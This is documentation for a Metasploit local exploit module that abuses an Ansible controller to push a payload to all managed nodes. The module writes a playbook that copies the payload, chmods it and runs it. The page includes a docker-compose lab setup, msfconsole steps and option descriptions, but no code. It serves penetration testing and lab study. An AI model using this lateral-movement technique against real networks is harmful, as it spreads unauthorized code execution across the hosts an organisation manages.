Vulnerable Application
This exploit module creates an ansible module for deployment to nodes in the network. It creates a new yaml playbook which copies our payload, chmods it, then runs it on all targets which have been selected (default all).
Docker-compose Install
Use the ansible lab files located here.
Before bringing up the docker-compose instance, you'll want to generate an SSH key: ssh-keygen -t rsa -N "" -f secrets/id_rsa
Of note, only 1 of the 3 alpine hosts will be successful due to the port conflict. This is fine though.
Verification Steps
- Install the application
- Start msfconsole
- Get an initial shell on the box
- Do:
use exploit/linux/local/ansible_node_deployer - Do:
set session [#] - Do:
run - You should get sessions on all the targeted hosts
Options
ANSIBLEPLAYBOOK
Location of ansible executable if not in a standard location. This is added to a list of default locations
which includes /usr/local/bin/ansible. Defaults to ``
WritableDir
A directory on the compromised host we can write our payload to. Defaults to /tmp
TargetWritableDir
A directory on the target hosts we can write our payload to. Defaults to /tmp
CALCULATE
This will calculate how many hosts may be exploitable by using Ansible's ping command.
HOSTS
Which Ansible host (groups) to target. Defaults to all
ListenerTimeout
How many seconds to wait after executing the payload for hosts to call back.
If set to 0, wait forever. Defaults to 60
Scenarios
Docker compose as mentioned above
